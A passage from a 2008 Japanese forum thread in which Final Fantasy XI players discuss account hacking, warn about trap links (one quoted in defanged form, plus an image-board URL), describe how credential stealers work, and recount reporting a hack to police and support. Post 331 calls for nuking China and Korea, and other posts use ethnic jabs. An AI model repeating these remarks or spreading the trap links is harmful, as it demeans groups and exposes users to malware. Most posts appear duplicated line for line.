「不審なURLは踏まないように」ってアナウンスがあるけど
不審かどうかの判断が、もの凄く難しくなってきてる。
個人的には、業者がコミュニティサイトに登録して
大きな騒ぎになってくれれば■eの目も覚めるんじゃないかと
思ってるんだけど、
大騒ぎになるには、かなりの数の被害者が必要になるのがなんとも。
******************************************
FF11/FFXI武器・防具一覧
全ての武器・防具に関する情報を掲載している。
その他、ノートリアスモンスター及び宝箱に関する情報、
魔法のシステムに関する情報などがある
ttp:■www.testinghua.com■ie■ff11.htm
******************************************
こういう状況を知らないと、思わず踏みそうだよな…。
「不審なURLは踏まないように」ってアナウンスがあるけど
不審かどうかの判断が、もの凄く難しくなってきてる。
個人的には、業者がコミュニティサイトに登録して
大きな騒ぎになってくれれば■eの目も覚めるんじゃないかと
思ってるんだけど、
大騒ぎになるには、かなりの数の被害者が必要になるのがなんとも。
270 ：既にその名前は使われています：2008/01/31(木) 16:50:08.28 ID:xdWHvwho
注意喚起age！
271 ：既にその名前は使われています：2008/01/31(木) 16:51:38.03 ID:1/uD//nS
アドレス貼ってる奴んとこ飛んでみたけど、いかにも業者って感じのもいるし普通にmixiやってる奴もいる
ただ、コミュ一覧見ると鯖関係なくFF関係のコミュ登録しまくってるからそれを参考にするしかないかも
ただ、コミュ一覧見ると鯖関係なくFF関係のコミュ登録しまくってるからそれを参考にするしかないかも
272 ：既にその名前は使われています：2008/01/31(木) 16:59:37.74 ID:t+FwIDU5
Q.日記やトピック、コメントなどに、
mixi 以外のウェブサイトが紹介されていたので見てみたい。
A.日記やトピック、コメントの中で、mixi内部のページ（http://mixi.jp/で始まるURL）
以外のウェブサイトに行く際、リンク先のウェブサイトがどのような内容か
分からない場合は、むやみにURLをクリックしないようご注意ください。
外部のウェブサイトには、お使いのパソコンに悪影響を与えるものや、
ワンクリック詐欺、フィッシング詐欺をおこなっているものなど、
悪意のあるウェブサイトである可能性も考えられますので、
十分ご注意ください。
----------------------------------------------
俺から見ると馬鹿じゃネーの?!と思うような注意書きだが、
mixiもこういうこと書いてるわけだし、FF11ユーザーも同レベルなんだから
ログインすると常にシステムメッセ流れるくらいでいいと思うけどね。
mixi 以外のウェブサイトが紹介されていたので見てみたい。
A.日記やトピック、コメントの中で、mixi内部のページ（http://mixi.jp/で始まるURL）
以外のウェブサイトに行く際、リンク先のウェブサイトがどのような内容か
分からない場合は、むやみにURLをクリックしないようご注意ください。
外部のウェブサイトには、お使いのパソコンに悪影響を与えるものや、
ワンクリック詐欺、フィッシング詐欺をおこなっているものなど、
悪意のあるウェブサイトである可能性も考えられますので、
十分ご注意ください。
----------------------------------------------
俺から見ると馬鹿じゃネーの?!と思うような注意書きだが、
mixiもこういうこと書いてるわけだし、FF11ユーザーも同レベルなんだから
ログインすると常にシステムメッセ流れるくらいでいいと思うけどね。
273 ：既にその名前は使われています：2008/01/31(木) 17:16:32.69 ID:JxmTyHsT
show_friend.pl?id=6851545
誰かリアルフレいたら、ハックされてるって教えてやれよ
誰かリアルフレいたら、ハックされてるって教えてやれよ
274 ：既にその名前は使われています：2008/01/31(木) 19:28:20.85 ID:4lrqHwv/
>大騒ぎになるには、かなりの数の被害者が必要になるのがなんとも。
どこぞの国の○○省を思い出した
どこぞの国の○○省を思い出した
275 ：既にその名前は使われています：2008/01/31(木) 22:46:04.16 ID:hd4FgIth
276 ：既にその名前は使われています：2008/01/31(木) 22:59:49.72 ID:zm3jd5h3
https://secure.playonline.com/support/の
ご意見ご要望メールフォームから要望メールを出しましょう。
* 被害を予防するための要望
・サービス外の国からのログイン制限
・任意で ISP指定ログイン
・パス変更時にブログやメールのパス忘れ時によくある「秘密の質問」を追加
・パス変更時にお知らせメール
・公式サイトの目立つところに
アカウントハックへの注意とRMT防止の呼びかけを設置
・被害の実情のレポートを公開する
* 被害を受けたあとについての要望
・サポセンの営業時間の問題
(週末などの対応窓口の欠如 7days24hrsで対応して欲しい)
・サポセンのつながりにくさ 通話料有料の問題
・GMコールの対応および連絡の遅さ
(不正アクセスの申告専用のGMコールの窓口がほしい）
・被害に対しての対策 対応スキームの明確化
(公式サイト上にはアカウントハック時の対応に関する記述はありません。）
ご意見ご要望メールフォームから要望メールを出しましょう。
* 被害を予防するための要望
・サービス外の国からのログイン制限
・任意で ISP指定ログイン
・パス変更時にブログやメールのパス忘れ時によくある「秘密の質問」を追加
・パス変更時にお知らせメール
・公式サイトの目立つところに
アカウントハックへの注意とRMT防止の呼びかけを設置
・被害の実情のレポートを公開する
* 被害を受けたあとについての要望
・サポセンの営業時間の問題
(週末などの対応窓口の欠如 7days24hrsで対応して欲しい)
・サポセンのつながりにくさ 通話料有料の問題
・GMコールの対応および連絡の遅さ
(不正アクセスの申告専用のGMコールの窓口がほしい）
・被害に対しての対策 対応スキームの明確化
(公式サイト上にはアカウントハック時の対応に関する記述はありません。）
277 ：既にその名前は使われています：2008/01/31(木) 23:08:00.13 ID:r+8buVrq
このスレに辿り着いた被害者は氷山の一角に過ぎないとみる。
初期に被害にあわれて、■eの冷たい対応に失意のうちに辞めてしまった人もいるだろう。
突然いなくなった知り合いの中には垢ハックの被害者がいたかも、と考えると悲しい。
>>253 のような物騒な情報もあるしまだまだ被害者は増えると思うのだが、
なぜ■eは啓蒙に力を入れないのか…。
危険と対策を啓蒙する方が、後手で救済策を用意するより経費が少なくて済むと思うのだが…
やはりFFに危険というイメージを持たれたくないからか？
初期に被害にあわれて、■eの冷たい対応に失意のうちに辞めてしまった人もいるだろう。
突然いなくなった知り合いの中には垢ハックの被害者がいたかも、と考えると悲しい。
>>253 のような物騒な情報もあるしまだまだ被害者は増えると思うのだが、
なぜ■eは啓蒙に力を入れないのか…。
危険と対策を啓蒙する方が、後手で救済策を用意するより経費が少なくて済むと思うのだが…
やはりFFに危険というイメージを持たれたくないからか？
278 ：既にその名前は使われています：2008/01/31(木) 23:35:31.51 ID:v31gnD/O
黄昏を迎え、老体が重い病を抱えている
延命を望み大きな手術に挑むか、静かに生を終えるか
この世界が生まれた時から内包されていた闇は、世界に陰影を与え光を浮き上がらせた
闇が変質し、一定だった距離が崩れ、光は違う世界へ
手術に挑むか静かに生を終えるか、それが問題だ・・・
延命を望み大きな手術に挑むか、静かに生を終えるか
この世界が生まれた時から内包されていた闇は、世界に陰影を与え光を浮き上がらせた
闇が変質し、一定だった距離が崩れ、光は違う世界へ
手術に挑むか静かに生を終えるか、それが問題だ・・・
279 ：既にその名前は使われています：2008/02/01(金) 01:38:01.33 ID:AVlghV+x
おやすみ保守
280 ：既にその名前は使われています：2008/02/01(金) 02:54:04.30 ID:fY9qpJ7o
注意喚起age
281 ：既にその名前は使われています：2008/02/01(金) 06:25:40.73 ID:Rz3qr60A
週漫板にも罠URLが貼られてた。
どうやら「オンラインゲーム」って文字の入ってるスレなら、
手当たり次第に貼り付けてるっぽい。
どうやら「オンラインゲーム」って文字の入ってるスレなら、
手当たり次第に貼り付けてるっぽい。
282 ：既にその名前は使われています：2008/02/01(金) 07:07:28.08 ID:Rfb43rmu
元被害者数人が罠サイトのURLをばらまいて仲間を増やそうとしてる情報有り
283 ：既にその名前は使われています：2008/02/01(金) 09:26:01.99 ID:yRYTNxLh
ホントだったら、最低だな
でも、
被害者が増えて運営危うくなるまで放置決め込むのでは？
思わせる運営側の冷たい対応の怒りの矛先を向ける先は
違うぞ
でも、
被害者が増えて運営危うくなるまで放置決め込むのでは？
思わせる運営側の冷たい対応の怒りの矛先を向ける先は
違うぞ
284 ：既にその名前は使われています：2008/02/01(金) 10:27:37.54 ID:qNCw+KAU
セキュリティ対策費とか考えると
ＦＦやるのに月１万超えてしまうオレは負け組み
早々に引退します。
ＦＦやるのに月１万超えてしまうオレは負け組み
早々に引退します。
285 ：既にその名前は使われています：2008/02/01(金) 10:29:04.73 ID:+ssfTKIR
286 ：既にその名前は使われています：2008/02/01(金) 12:25:24.59 ID:MCIPuiWx
287 ：既にその名前は使われています：2008/02/01(金) 12:43:36.66 ID:2G+TJ3KX
読んでみたけれど目新しいことは何もないな
288 ：既にその名前は使われています：2008/02/01(金) 12:45:15.19 ID:FsCOjQ98
>>286
翻訳サイト使った程度じゃよく分からないな。
ハッキング被害者に取られた垢を返す事は出来るとは言っているけれど
別段保証するとかどうにかするとは言って無さそうだし
LSコミュβ事のにいて攻められているけれどなんだか違う答え返してる感じ？
結局日本で聞いた事と何も変わって居なさそうだね。
翻訳サイト使った程度じゃよく分からないな。
ハッキング被害者に取られた垢を返す事は出来るとは言っているけれど
別段保証するとかどうにかするとは言って無さそうだし
LSコミュβ事のにいて攻められているけれどなんだか違う答え返してる感じ？
結局日本で聞いた事と何も変わって居なさそうだね。
289 ：既にその名前は使われています：2008/02/01(金) 13:53:20.63 ID:2G+TJ3KX
LSコミュはSSLで暗号化してるから大丈夫とかなぁ
キーロガーに対しては無力なんだが
キーロガーに対しては無力なんだが
290 ：既にその名前は使われています：2008/02/01(金) 15:07:36.64 ID:FsCOjQ98
>>289
多分そこのサイトでも何でID＆Pass共通にしたの？ッて責め立てたかったはず。
ただ大人の事情で質問出来なかったか掲載出来なかったんだろうな～と妄想age。
ついでにそのシステムなんか意味あるん？馬鹿じゃないの？てか馬鹿じゃないの？
みたいに言いたかったに違いない。
多分そこのサイトでも何でID＆Pass共通にしたの？ッて責め立てたかったはず。
ただ大人の事情で質問出来なかったか掲載出来なかったんだろうな～と妄想age。
ついでにそのシステムなんか意味あるん？馬鹿じゃないの？てか馬鹿じゃないの？
みたいに言いたかったに違いない。
291 ：既にその名前は使われています：2008/02/01(金) 15:32:47.08 ID:OY02QvJY
最近FF11画像掲示板にも罠が多いから気をつけてくれよな。
http://tune.ache-bang.com/~vg/outitem/up/upload.php
サムネ表示されなかったら要注意だぜ。
http://tune.ache-bang.com/~vg/outitem/up/upload.php
サムネ表示されなかったら要注意だぜ。
292 ：既にその名前は使われています：2008/02/01(金) 15:54:20.54 ID:oKnph2EP
初めての書き込みです
垢ハック被害にあい、いま警察に連絡したばかりなのですが
どういう扱いになったのか書き込んでもよろしいでしょうか？
垢ハック被害にあい、いま警察に連絡したばかりなのですが
どういう扱いになったのか書き込んでもよろしいでしょうか？
293 ：既にその名前は使われています：2008/02/01(金) 15:56:01.83 ID:4guVX45g
>>292
詳しく聞きタイですね 相手にされなかったとか？？
詳しく聞きタイですね 相手にされなかったとか？？
294 ：既にその名前は使われています：2008/02/01(金) 16:01:19.50 ID:oKnph2EP
いま メモ帳にまとめています。
少しお待ちください。
少しお待ちください。
295 ：長いです（１）：2008/02/01(金) 16:18:15.65 ID:oKnph2EP
被害～サポセン パスワード再発行までは既出と同じ流れでしたので省略します。
警察に連絡前にサイバー対策のある県警に一度連絡したほうがよりとサイトにあったので
事前に連絡をして 「最寄の警察に相談いってください」といわれてから最寄の警察署へ
相談に行きました。
もっていったものは だいたいテンプレにあったようなものです。
↓以下警察
警察署でいろいろどういうゲームなのかとか聞かれました。
年配の方と若い方がいらして、年配の方にどういうものかを説明するときは「大切に育てた盆栽」のようなものだと伝えるとすごく同情されました。
若い方のほうが「捜査できるか 本部に確認しています」とその場で電話をして確認の結果は
「金銭的被害がでていないので<me>さんは被害届をだすことはできない。不正ログインとして依頼を出せるのは、管理会社のみです。管理会社に捜査依頼を出すように伝えてください。」
といわれました。
利用権の侵害で依頼だせないのかと聞いてみましたが、それもだめだといわれました。
「報告書には上げておきますので何かあれば連絡いたします。」
警察に連絡前にサイバー対策のある県警に一度連絡したほうがよりとサイトにあったので
事前に連絡をして 「最寄の警察に相談いってください」といわれてから最寄の警察署へ
相談に行きました。
もっていったものは だいたいテンプレにあったようなものです。
↓以下警察
警察署でいろいろどういうゲームなのかとか聞かれました。
年配の方と若い方がいらして、年配の方にどういうものかを説明するときは「大切に育てた盆栽」のようなものだと伝えるとすごく同情されました。
若い方のほうが「捜査できるか 本部に確認しています」とその場で電話をして確認の結果は
「金銭的被害がでていないので<me>さんは被害届をだすことはできない。不正ログインとして依頼を出せるのは、管理会社のみです。管理会社に捜査依頼を出すように伝えてください。」
といわれました。
利用権の侵害で依頼だせないのかと聞いてみましたが、それもだめだといわれました。
「報告書には上げておきますので何かあれば連絡いたします。」
296 ：長いです（2)：2008/02/01(金) 16:18:52.87 ID:oKnph2EP
↓以下サポセン（電話にて）
サポセンへ警察でのやりとりを伝えて聞いてみました。
「弊社では被害をうけていませんので、被害者はお客様自身です。不正ログインではなく、利用権の侵害で受理してもらってください。警察では同様の届けがあった場合、そのような扱いにしてもらえるとの回答をいただいています。」
再度、警察ではだめだったことを伝えると
「どこの課に相談されたのですか？サイバー対策のあるところにいかれたほうがいいですよ」
県警で最寄の警察に伝えたら
「警察からの捜査依頼がない限り弊社では調査できません。警察に伝えてください。」
・・・この地点で警察で電話してそのまま携帯を渡すべきだったとかなり後悔しました。
サポセンへ警察でのやりとりを伝えて聞いてみました。
「弊社では被害をうけていませんので、被害者はお客様自身です。不正ログインではなく、利用権の侵害で受理してもらってください。警察では同様の届けがあった場合、そのような扱いにしてもらえるとの回答をいただいています。」
再度、警察ではだめだったことを伝えると
「どこの課に相談されたのですか？サイバー対策のあるところにいかれたほうがいいですよ」
県警で最寄の警察に伝えたら
「警察からの捜査依頼がない限り弊社では調査できません。警察に伝えてください。」
・・・この地点で警察で電話してそのまま携帯を渡すべきだったとかなり後悔しました。
297 ：長いです(3)：2008/02/01(金) 16:19:48.20 ID:oKnph2EP
↓以下県警（電話にて）
さすがにまた警察署にすぐいっても伝わらない気がしましたので県警に連絡しました。
相談の内容として垢ハックされたことを伝えるとまず、担当の課に電話が回されました。
最初は、警察署でいわれたような「被害届は管理会社が～」といわれましたが、
警察署、サポセンでいわれたことを伝え、たらいまわしにされています。どうしたらいいですか？と聞いたところで反応が変わりました。
「管理会社が被害者の話をきいて調べた結果をもって警察に届けてくれるのが一番ｽﾑｰｽﾞに捜査できるのですが、その会社はあまりやってくれないんですね。相談にいった警察署へ連絡をしてみますので電話を待っていていただけませんか？」
さすがにまた警察署にすぐいっても伝わらない気がしましたので県警に連絡しました。
相談の内容として垢ハックされたことを伝えるとまず、担当の課に電話が回されました。
最初は、警察署でいわれたような「被害届は管理会社が～」といわれましたが、
警察署、サポセンでいわれたことを伝え、たらいまわしにされています。どうしたらいいですか？と聞いたところで反応が変わりました。
「管理会社が被害者の話をきいて調べた結果をもって警察に届けてくれるのが一番ｽﾑｰｽﾞに捜査できるのですが、その会社はあまりやってくれないんですね。相談にいった警察署へ連絡をしてみますので電話を待っていていただけませんか？」
298 ：既にその名前は使われています：2008/02/01(金) 16:23:21.54 ID:tWbEyHyo
ワッフルワッフル
299 ：既にその名前は使われています：2008/02/01(金) 16:23:34.38 ID:ioHdCvDJ
今日垢ハックされていました。
プレイオンラインは警察に相談して下さいとのことだったのですが、相談したらPCまるごと預かりますとか警察に言われてしまうんですか？
プレイオンラインは警察に相談して下さいとのことだったのですが、相談したらPCまるごと預かりますとか警察に言われてしまうんですか？
300 ：最後(4)：2008/02/01(金) 16:24:09.29 ID:oKnph2EP
↓以下警察署（電話にて）
待つこと２０分程、警察署から電話がありました。
「県警から連絡がありました。管理会社からは被害届はだせないといわれたそうですね。現在担当のものが出ておりまして、夕方には戻ってくるので報告します。夕方、もしくは週明けに報告しますのでそれまで待っていただけませんか？」
３すくみ、４すくみしている感じでした。
警察署は田舎の方にあたりますが、こんなにたらい回しされるとくじけそうになります。
次に警察に届け出る人がいたら参考になればと思っています。
乱文失礼いたしました。
待つこと２０分程、警察署から電話がありました。
「県警から連絡がありました。管理会社からは被害届はだせないといわれたそうですね。現在担当のものが出ておりまして、夕方には戻ってくるので報告します。夕方、もしくは週明けに報告しますのでそれまで待っていただけませんか？」
３すくみ、４すくみしている感じでした。
警察署は田舎の方にあたりますが、こんなにたらい回しされるとくじけそうになります。
次に警察に届け出る人がいたら参考になればと思っています。
乱文失礼いたしました。
301 ：既にその名前は使われています：2008/02/01(金) 16:28:51.50 ID:5iir6aq0
被害にあわれた方の心中お察しするけど、ぶっちゃけ警察へ相談してもほぼ意味ない
理由として、
・被害が１個人であるということ
・刑事事件に発展しないため後回しにされる
・電子犯罪に関して既存法律整備が進んでおらず逮捕起訴が難しい
・専用課が全国でみてもきわめて少なく人手不足
被害が個人といっても何千人もいれば調査してくれるかもしれない
ただ、それで犯人が同一人物だとしても被害にあった人一人一人に連絡はこないし保証もない
じゃあ、どうしたらいいのかと言うと泣き寝入りしかない
垢ハックは簡単に防ぐことができるし個人個人が意識して気をつけるしかない
理由として、
・被害が１個人であるということ
・刑事事件に発展しないため後回しにされる
・電子犯罪に関して既存法律整備が進んでおらず逮捕起訴が難しい
・専用課が全国でみてもきわめて少なく人手不足
被害が個人といっても何千人もいれば調査してくれるかもしれない
ただ、それで犯人が同一人物だとしても被害にあった人一人一人に連絡はこないし保証もない
じゃあ、どうしたらいいのかと言うと泣き寝入りしかない
垢ハックは簡単に防ぐことができるし個人個人が意識して気をつけるしかない
302 ：既にその名前は使われています：2008/02/01(金) 16:50:08.91 ID:ZL0zlnwn
>>301 みたいな業者の甘言に耳を貸すなよ。
数がまとまれば警察から■eへの突き上げが行く。決して無駄にはならない。
泣き寝入りで得をするのはリアル犯罪に手を染めた業者どもだけだ。
＞垢ハックは簡単に防ぐことができるし
対策サイトへのハッキングすら狙われているなかで、
こんな事は誰も言い切れないんだからな。
>>ID:oKnph2EP
お疲れさま。県警に話が通った事でよい方向へ行くことを祈ってる。
この期に及んでたらい回しを決め込む連中に負けるな。
数がまとまれば警察から■eへの突き上げが行く。決して無駄にはならない。
泣き寝入りで得をするのはリアル犯罪に手を染めた業者どもだけだ。
＞垢ハックは簡単に防ぐことができるし
対策サイトへのハッキングすら狙われているなかで、
こんな事は誰も言い切れないんだからな。
>>ID:oKnph2EP
お疲れさま。県警に話が通った事でよい方向へ行くことを祈ってる。
この期に及んでたらい回しを決め込む連中に負けるな。
303 ：既にその名前は使われています：2008/02/01(金) 16:51:43.47 ID:4guVX45g
なんじゃそりゃ・・・・
結局被害者は泣き寝入りかよ・・・サポセンも自分とこがハックされたわけじゃないからめんどくさい事にはかかわりたくないと言うことか。
被害にあっている客がいるんだからスクエニのほうでキャラデータをハック前の状態に戻すとか被害届を出してハックした個人を特定してもらうとか何かないのかよ・・・
結局被害者は泣き寝入りかよ・・・サポセンも自分とこがハックされたわけじゃないからめんどくさい事にはかかわりたくないと言うことか。
被害にあっている客がいるんだからスクエニのほうでキャラデータをハック前の状態に戻すとか被害届を出してハックした個人を特定してもらうとか何かないのかよ・・・
304 ：既にその名前は使われています：2008/02/01(金) 16:55:02.76 ID:4guVX45g
対策としてはＰＳ２や箱でやるくらいしかないのか？？
ちなみにノートンとか最新のものを使ってても変なアドレスクリックしてしまったらアウトなの？
ちなみにノートンとか最新のものを使ってても変なアドレスクリックしてしまったらアウトなの？
305 ：既にその名前は使われています：2008/02/01(金) 17:04:21.63 ID:toJYWTaa
素朴な質問～
IDやパスワードって暗号化されてやり取りされてるんじゃないの？
被害者のPCからデータ吸い出されたとしても、
すぐアカウント使われるってのは、
IDパスを内包してるプログラムとしてFF11は問題あるんじゃないかな？
IDやパスワードって暗号化されてやり取りされてるんじゃないの？
被害者のPCからデータ吸い出されたとしても、
すぐアカウント使われるってのは、
IDパスを内包してるプログラムとしてFF11は問題あるんじゃないかな？
306 ：既にその名前は使われています：2008/02/01(金) 17:12:50.71 ID:lgGcvZte
>>300
俺の時も警察に「被害届けはだせない」って言われた。
でも、その件をｻﾎﾟｾﾝの担当（偶々いい人だったのかもだけど）に
警察からｻﾎﾟｾﾝに直接電話して貰えば、こちらから説明するって言われたんで
その通りにしたら、警察からIPやら持ってくるように電話で言われた。
で、次の日提出→1ヶ月後くらいに鯖と削除キャラは復活。
不正IPは中華だったから捜査は途中で終わったけど、犯罪性認定はして貰えるから諦めるな
俺の時も警察に「被害届けはだせない」って言われた。
でも、その件をｻﾎﾟｾﾝの担当（偶々いい人だったのかもだけど）に
警察からｻﾎﾟｾﾝに直接電話して貰えば、こちらから説明するって言われたんで
その通りにしたら、警察からIPやら持ってくるように電話で言われた。
で、次の日提出→1ヶ月後くらいに鯖と削除キャラは復活。
不正IPは中華だったから捜査は途中で終わったけど、犯罪性認定はして貰えるから諦めるな
307 ：既にその名前は使われています：2008/02/01(金) 17:19:50.23 ID:OY02QvJY
>>305
キーロガーってことじゃないの。
通信を傍受されたとき、通信内容が暗号化されてれば、
そっからパスを抜かれないってだけだからさ、
通信前のキー打ち込みを監視カメラで撮影されてるようなもんだよ。
キーロガーってことじゃないの。
通信を傍受されたとき、通信内容が暗号化されてれば、
そっからパスを抜かれないってだけだからさ、
通信前のキー打ち込みを監視カメラで撮影されてるようなもんだよ。
308 ：既にその名前は使われています：2008/02/01(金) 17:22:31.62 ID:OY02QvJY
309 ：既にその名前は使われています：2008/02/01(金) 17:23:24.13 ID:4guVX45g
>>307
キーロガーってキーボードのどこをどういう順番で打ったかを盗み見するソフトでしょ？
大半の人はパスワード記憶させたまま自動Log onしてるんじゃない？
それともハックされてる人ってパスワード毎回手打ちで入力してる人なのかなぁ？
どっちなんだろ。
パスワードごとぶっこ抜くツールなら保存しないでおけば対策になるのかな？どうなんだろ
キーロガーってキーボードのどこをどういう順番で打ったかを盗み見するソフトでしょ？
大半の人はパスワード記憶させたまま自動Log onしてるんじゃない？
それともハックされてる人ってパスワード毎回手打ちで入力してる人なのかなぁ？
どっちなんだろ。
パスワードごとぶっこ抜くツールなら保存しないでおけば対策になるのかな？どうなんだろ
310 ：既にその名前は使われています：2008/02/01(金) 17:24:35.41 ID:OY02QvJY
>>309
その辺は被害者に直接聞いてみないと分からないなあ。
その辺は被害者に直接聞いてみないと分からないなあ。
311 ：既にその名前は使われています：2008/02/01(金) 17:27:46.54 ID:toJYWTaa
312 ：既にその名前は使われています：2008/02/01(金) 17:29:58.96 ID:B4pc9F5+
313 ：既にその名前は使われています：2008/02/01(金) 17:34:09.64 ID:toJYWTaa
314 ：既にその名前は使われています：2008/02/01(金) 17:35:28.02 ID:lgGcvZte
>>308
俺の場合は、警察にｻﾎﾟｾﾝの電話番号教えて電話させた。
連絡遅い場合はこっちからどんどん連絡して急かした方がいい
>>311
手打ちだろうが保存だろうがウィルス入ってたら盗まれるかと
俺は保存してた（今は手打ち）
俺の場合は、警察にｻﾎﾟｾﾝの電話番号教えて電話させた。
連絡遅い場合はこっちからどんどん連絡して急かした方がいい
>>311
手打ちだろうが保存だろうがウィルス入ってたら盗まれるかと
俺は保存してた（今は手打ち）
315 ：既にその名前は使われています：2008/02/01(金) 17:36:03.81 ID:GZwjvRKV
■＜パスを８桁以上にしてもらえれば大丈夫かなって思ってたんですｗ
て程度でしょ、田中とSageもPOLにセキュリティ期待すんなってインタビューで答えてたしね
て程度でしょ、田中とSageもPOLにセキュリティ期待すんなってインタビューで答えてたしね
316 ：既にその名前は使われています：2008/02/01(金) 17:36:41.66 ID:B4pc9F5+
>>309
1つだけの手段なんてやらないよ。
保存してるってことはファイルに書いてあるわけで。
以前にあったものではメモリから抜き取り・ログオン画面のBMP(IDのみ)・
キーロギング・ファイルからの抜き取り併用。
んで抜いた情報を送信する際もHTTPでサーバに送る、
自前のSMTPエンジンでメールで発射など併用。
仕掛ける側からしたら全てが上手く動作するわけじゃないにしても、
いくつか動きゃいいわけで。
FFでは実装していないけど、ATMで見かける並びがバラバラのテンキーを
クリックするタイプもキャプとられて終了
(フィリピンだかのラグナロクオンラインで実際にやられてる)。
1つだけの手段なんてやらないよ。
保存してるってことはファイルに書いてあるわけで。
以前にあったものではメモリから抜き取り・ログオン画面のBMP(IDのみ)・
キーロギング・ファイルからの抜き取り併用。
んで抜いた情報を送信する際もHTTPでサーバに送る、
自前のSMTPエンジンでメールで発射など併用。
仕掛ける側からしたら全てが上手く動作するわけじゃないにしても、
いくつか動きゃいいわけで。
FFでは実装していないけど、ATMで見かける並びがバラバラのテンキーを
クリックするタイプもキャプとられて終了
(フィリピンだかのラグナロクオンラインで実際にやられてる)。
317 ：既にその名前は使われています：2008/02/01(金) 17:41:11.82 ID:2G+TJ3KX
>>309
ネットカフェのPCにキーロガー仕掛けられたとしたら？
ネットカフェのPCにキーロガー仕掛けられたとしたら？
318 ：既にその名前は使われています：2008/02/01(金) 17:44:07.26 ID:p0S9yI5H
まあ、これから>>300が取る行動は、もう一度サポセンに電話をして、
上の人間を出して警察に連絡してもらう事かな？
警察の｢担当者～｣は方便だから期待しない方がいい。(まあ、最低でも名前ぐらいは聞いた方が話し進み安いけどな。
ってか、対話したなら、担当者の名前はメモっといた方がいい)
後、警察に連絡したら、その日時＆担当者はパソコンに残しとけば、
新聞に乗るぐらいの刑事事件(中華餃子事件とか)になった時、主張すれば一緒に調べてくれるぞ。
(若い警官が｢報告書上げときますね｣って言ったのはこれがあるため)
まあ、とにかく、各マスコミも気にかけてる話題でもあることだし、
泣き寝入りなんてせずに、報告してくれー
2chでもいいから(証拠ログとして残るからなー)
上の人間を出して警察に連絡してもらう事かな？
警察の｢担当者～｣は方便だから期待しない方がいい。(まあ、最低でも名前ぐらいは聞いた方が話し進み安いけどな。
ってか、対話したなら、担当者の名前はメモっといた方がいい)
後、警察に連絡したら、その日時＆担当者はパソコンに残しとけば、
新聞に乗るぐらいの刑事事件(中華餃子事件とか)になった時、主張すれば一緒に調べてくれるぞ。
(若い警官が｢報告書上げときますね｣って言ったのはこれがあるため)
まあ、とにかく、各マスコミも気にかけてる話題でもあることだし、
泣き寝入りなんてせずに、報告してくれー
2chでもいいから(証拠ログとして残るからなー)
319 ：既にその名前は使われています：2008/02/01(金) 17:49:52.45 ID:B4pc9F5+
320 ：既にその名前は使われています：2008/02/01(金) 17:55:04.74 ID:B4pc9F5+
321 ：既にその名前は使われています：2008/02/01(金) 17:56:03.55 ID:B4pc9F5+
あ、すまん >>320 は無しで。これIDだった。
322 ：既にその名前は使われています：2008/02/01(金) 19:21:28.50 ID:aLUP9Qf+
でさ
現状被害にあったらどう対応すればいいのさ？
まとめてよ
現状被害にあったらどう対応すればいいのさ？
まとめてよ
323 ：既にその名前は使われています：2008/02/01(金) 19:25:16.16 ID:ZL0zlnwn
324 ：既にその名前は使われています：2008/02/01(金) 21:07:01.74 ID:odr7nod5
ほっしゅ
325 ：既にその名前は使われています：2008/02/01(金) 21:14:20.77 ID:KkE3aIuJ
まぁ中韓国からのアクセスを■eが不可能にしてくれればかなり減るんですがね。
326 ：既にその名前は使われています：2008/02/01(金) 21:24:39.82 ID:d+9UmBlh
>>325
トンネリング見つけて犯罪者として立件出来る可能性も出てくるシナw
トンネリング見つけて犯罪者として立件出来る可能性も出てくるシナw
327 ：既にその名前は使われています：2008/02/01(金) 21:31:39.07 ID:yI1TQEOl
328 ：既にその名前は使われています：2008/02/01(金) 21:40:06.00 ID:rmlea+2z
違法ソフトなどで感染したならユーザーの責任だろうが
通常の使い方で感染させる悪意ある手段による場合はその限りじゃないんじゃね。
通常の使い方で感染させる悪意ある手段による場合はその限りじゃないんじゃね。
329 ：既にその名前は使われています：2008/02/01(金) 21:54:23.48 ID:AVlghV+x
「引っかかるユーザーがアホだ」で思考停止してちゃいけないんだよな
根本から対策しないかぎり新たな被害者が出続ける
根本から対策しないかぎり新たな被害者が出続ける
330 ：既にその名前は使われています：2008/02/01(金) 22:12:25.28 ID:d+9UmBlh
>>328
何とかしたいよな、俺的には次は自分じゃ？と言う恐怖からそう思う。
blog巡りとかしまくっていたけれどよく今まで感染しなかったと自分を誉めたいw
>>329
根本は他人への無関心だと思うよ。
垢ハック対策はユーザーの総意って訳じゃないでしょ、今のところ。
未だに切り捨てられないPS2ユーザーは危機感を感じ無いだろうし
ネトゲ慣れして専用PC用意する様な強者も被害者を鼻でせせら笑うだけで
運営・法律(国)に対策を求めたりはしないだろう。
何とかしたいよな、俺的には次は自分じゃ？と言う恐怖からそう思う。
blog巡りとかしまくっていたけれどよく今まで感染しなかったと自分を誉めたいw
>>329
根本は他人への無関心だと思うよ。
垢ハック対策はユーザーの総意って訳じゃないでしょ、今のところ。
未だに切り捨てられないPS2ユーザーは危機感を感じ無いだろうし
ネトゲ慣れして専用PC用意する様な強者も被害者を鼻でせせら笑うだけで
運営・法律(国)に対策を求めたりはしないだろう。
331 ：既にその名前は使われています：2008/02/01(金) 22:28:41.15 ID:AeS8iUU1
てか 中国、朝鮮に核うちこんで消滅させれば・・・
いろいろ問題も片付きそうだし
いろいろ問題も片付きそうだし
332 ：既にその名前は使われています：2008/02/01(金) 22:48:31.45 ID:hkZp/SuV
333 ：既にその名前は使われています：2008/02/02(土) 00:15:57.01 ID:i2RBaqde
334 ：既にその名前は使われています：2008/02/02(土) 01:14:52.27 ID:k9efNnYK
age
335 ：199：2008/02/02(土) 02:59:40.39 ID:wz9EsjYC
先日、警察の方から連絡がありまして色々相談したのですが
私の場合だと不正アクセスだと断定できないって事になりました
１回でもゲストログインしてたらダメって事だそうです 知り合いの家の
ＰＳ２にログインしててもダメなのね
ただ、この警察官の方の知り合いの方が、ＲＯで同様の事件で
対応した時は８割方のアイテムが戻ってきてるので、君も真剣にやってみたら？
と言われたので、今までの■eの対応について喋ってたら苦笑されてました
せめて、不正アクセスで捨てられてるって認定されてる人には何か措置してくれれば
他の被害者の方も警察に訴えるんじゃないかなーとも思ったり
私はこれ以上は無理でしたが、他の被害者の方は諦めないで頑張ってください！
私の場合だと不正アクセスだと断定できないって事になりました
１回でもゲストログインしてたらダメって事だそうです 知り合いの家の
ＰＳ２にログインしててもダメなのね
ただ、この警察官の方の知り合いの方が、ＲＯで同様の事件で
対応した時は８割方のアイテムが戻ってきてるので、君も真剣にやってみたら？
と言われたので、今までの■eの対応について喋ってたら苦笑されてました
せめて、不正アクセスで捨てられてるって認定されてる人には何か措置してくれれば
